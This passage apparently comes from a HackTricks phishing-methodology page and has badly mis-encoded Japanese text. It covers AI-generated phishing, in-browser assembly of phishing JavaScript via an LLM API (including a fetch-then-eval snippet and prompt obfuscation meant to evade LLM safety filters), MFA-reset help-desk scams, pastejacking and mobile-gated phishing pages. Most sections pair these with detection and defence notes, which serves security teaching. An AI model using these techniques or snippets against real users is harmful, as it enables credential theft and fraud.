| Generative AI | Produce one-off emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam. |
| Agentic AI | Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnât submit creds. |
Defence:
⢠ARC/DKIM ã®ç°åžžãªã©ãå©çšããŠãèªååãããéä¿¡å
ããã®ã¡ãã»ãŒãžã§ããããšã瀺ã åçãã㌠ã远å ããã
⢠ãã€ãªã¹ã¯ã®é»è©±èŠæ±ã«å¯ŸããŠã¯ é³å£°ãã€ãªã¡ããªãã¯ãªãã£ã¬ã³ãžãã¬ãŒãº ãå°å
¥ããã
⢠åšç¥ããã°ã©ã å
ã§ AI ãçæããèªãæå¥ãç¶ç¶çã«ã·ãã¥ã¬ãŒããã â éçãã³ãã¬ãŒãã¯æä»£é
ãã§ãã
See also â agentic browsing abuse for credential phishing:
Ai Agent Mode Phishing Abusing Hosted Agent Browsers
See also â AI agent abuse of local CLI tools and MCP (for secrets inventory and detection):
Ai Agent Abuse Local Ai Cli Tools And Mcp
LLM-assisted runtime assembly of phishing JavaScript (in-browser codegen)
æ»æè
ã¯äžèŠç¡å®³ã«èŠãã HTML ãé
ä¿¡ããå®è¡æã« trusted LLM API ã« JavaScript ãèŠæ±ããŠãã©ãŠã¶å
ã§å®è¡ïŒäŸïŒeval ãåç㪠<script>ïŒããããšã§ããã®å Žã§ stealer ãçæã§ããŸãã
- Prompt-as-obfuscation: ããã³ããå ã« exfil URLs/Base64 æååããšã³ã³ãŒãããå®å šãã£ã«ã¿ãåé¿ããããã«æèšãå埩ããŠèª¿æŽããã
- Client-side API call: ããŒãæã« JS ãå ¬é LLMïŒGemini/DeepSeek/etc.ïŒã CDN ãããã·ã« API ã³ãŒã«ãè¡ããéç HTML ã«ã¯ããã³ããïŒAPI ã³ãŒã«ã®ã¿ãå«ãŸããã
- Assemble & exec: ã¬ã¹ãã³ã¹ãé£çµããŠå®è¡ããïŒèšªåããšã«ããªã¢ãŒãã£ãã¯ïŒã
fetch("https://llm.example/v1/chat",{method:"POST",body:JSON.stringify({messages:[{role:"user",content:promptText}]}),headers:{"Content-Type":"application/json",Authorization:`Bearer ${apiKey}`}})
.then(r=>r.json())
.then(j=>{const payload=j.choices?.[0]?.message?.content; eval(payload);});
- Phish/exfil: çæããã code ãèªããåå¥åïŒäŸïŒLogoKit token parsingïŒããcreds ã prompt-hidden endpoint ã« POST ããã
åé¿ç¹æ§
- ãã©ãã£ãã¯ã¯ããç¥ããã LLM domains ãä¿¡é Œã§ãã CDN proxies ã«å°éããããšãå€ããå Žåã«ãã£ãŠã¯ WebSockets ãä»ã㊠backend ã«æ¥ç¶ããã
- éç㪠payload ã¯ãªããæªæã®ãã JS ã¯ã¬ã³ããŒåŸã«ã®ã¿ååšããã
- éæ±ºå®çãªçæã«ãããã»ãã·ã§ã³ããšã« åºæã® stealers ãäœãããã
æ€åºã®ã¢ã€ãã¢
- JS ãæå¹ã«ãããµã³ãããã¯ã¹ãå®è¡ããruntime
eval/dynamic script creation sourced from LLM responses ããã©ã°ããã - ããã³ããšã³ããã LLM APIs ãžã® POST ãè¡ããããã®çŽåŸã«è¿åŽããã¹ãã«å¯ŸããŠ
eval/Functionãè¡ãããã±ãŒã¹ãæ€åºããã - ã¯ã©ã€ã¢ã³ããã©ãã£ãã¯å ã®æ¿èªãããŠããªã LLM domains ãšãããã«ç¶ã credential POSTs ãæ€ç¥ãããã¢ã©ãŒããåºãã
MFA Fatigue / Push Bombing Variant â Forced Reset
å€å žç㪠push-bombing ã«å ãããªãã¬ãŒã¿ã¯ãã«ããã¹ã¯ã®é話äžã«åã« force a new MFA registration ãè¡ãããŠãŒã¶ã®æ¢åã® token ãç¡å¹åããããã®åŸã®ãã°ã€ã³ããã³ããã¯è¢«å®³è ã«ãšã£ãŠæ£åœãªãã®ã«èŠããã
[Attacker] â Help-Desk: âI lost my phone while travelling, can you unenrol it so I can add a new authenticator?â
[Help-Desk] â AzureAD: âDelete existing methodsâ â sends registration e-mail
[Attacker] â Completes new TOTP enrolment on their own device
Monitor for AzureAD/AWS/Okta events where deleteMFA + addMFA occur within minutes from the same IP.
Clipboard Hijacking / Pastejacking
Attackers can silently copy malicious commands into the victimâs clipboard from a compromised or typosquatted web page and then trick the user to paste them inside Win + R, Win + X or a terminal window, executing arbitrary code without any download or attachment.
Mobile Phishing & Malicious App Distribution (Android & iOS)
Mobile Phishing Malicious Apps
Mobileâgated phishing to evade crawlers/sandboxes
ãªãã¬ãŒã¿ãŒã¯ãphishing ãããŒãç°¡å㪠device check ã®èåŸã«çœ®ãããšãå¢ããŠãããdesktop crawlers ãæçµããŒãžã«å°éããªãããã«ããŠããŸããäžè¬çãªãã¿ãŒã³ã¯ãã¿ãã察å¿ã® DOM ããã¹ãããŠçµæã server endpoint ã« post ããå°ããªã¹ã¯ãªããã§ãnonâmobile ã¯ã©ã€ã¢ã³ãã«ã¯ HTTP 500ïŒãŸãã¯ç©ºçœããŒãžïŒãè¿ãããmobile ãŠãŒã¶ãŒã«ã¯å®å šãªãããŒãæäŸãããŸãã
Minimal client snippet (typical logic):
<script src="/static/detect_device.js"></script>
detect_device.js ããžãã¯ïŒç°¡ç¥åïŒ:
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
ãµãŒããŒã®ãã芳å¯ãããæå:
- æåã®èªã¿èŸŒã¿æã«ã»ãã·ã§ã³ cookie ãèšå®ããã
- Accepts
POST /detect {"is_mobile":true|false}. is_mobile=falseã®å Žåã以éã® GET ã«å¯Ÿã㊠500ïŒãŸãã¯ãã¬ãŒã¹ãã«ãïŒãè¿ããtrueã®å Žåã®ã¿ phishing ãé ä¿¡ããã
ãã³ãã£ã³ã°ããã³æ€åºã®ãã¥ãŒãªã¹ãã£ãã¯:
- urlscan ã¯ãšãª:
filename:"detect_device.js" AND page.status:500 - Web ãã¬ã¡ããª: ã·ãŒã±ã³ã¹
GET /static/detect_device.jsâPOST /detectâ éã¢ãã€ã«ã§ã¯ HTTP 500ïŒæ£èŠã®ã¢ãã€ã«è¢«å®³è çµè·¯ã¯ 200 ãè¿ãããã®åŸã® HTML/JS ãé ä¿¡ããã - ã³ã³ãã³ãã
ontouchstartãé¡äŒŒã®ããã€ã¹ãã§ãã¯ã®ã¿ã«äŸåããŠæ¡ä»¶åå²ããŠããããŒãžã¯ãããã¯ããã粟æ»ããã
é²åŸ¡ã®ãã³ã:
- ã¢ãã€ã«ã®ãããªãã£ã³ã¬ãŒããªã³ããš JS ãæå¹ã«ããã¯ããŒã©ãŒãå®è¡ããŠãã²ãŒããããã³ã³ãã³ããé²åºãããã
- æ°èŠç»é²ãã¡ã€ã³ã§
POST /detectã®åŸã«çºçããçããã 500 ã¬ã¹ãã³ã¹ã«å¯ŸããŠã¢ã©ãŒããäžããã
åèæç®
- https://zeltser.com/domain-name-variations-in-phishing/
- https://0xpatrik.com/phishing-domains/
- https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/
- https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy
- 2025 Unit 42 Global Incident Response Report â Social Engineering Edition
- Silent Smishing â mobile-gated phishing infra and heuristics (Sekoia.io)
- The Next Frontier of Runtime Assembly Attacks: Leveraging LLMs to Generate Phishing JavaScript in Real Time
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


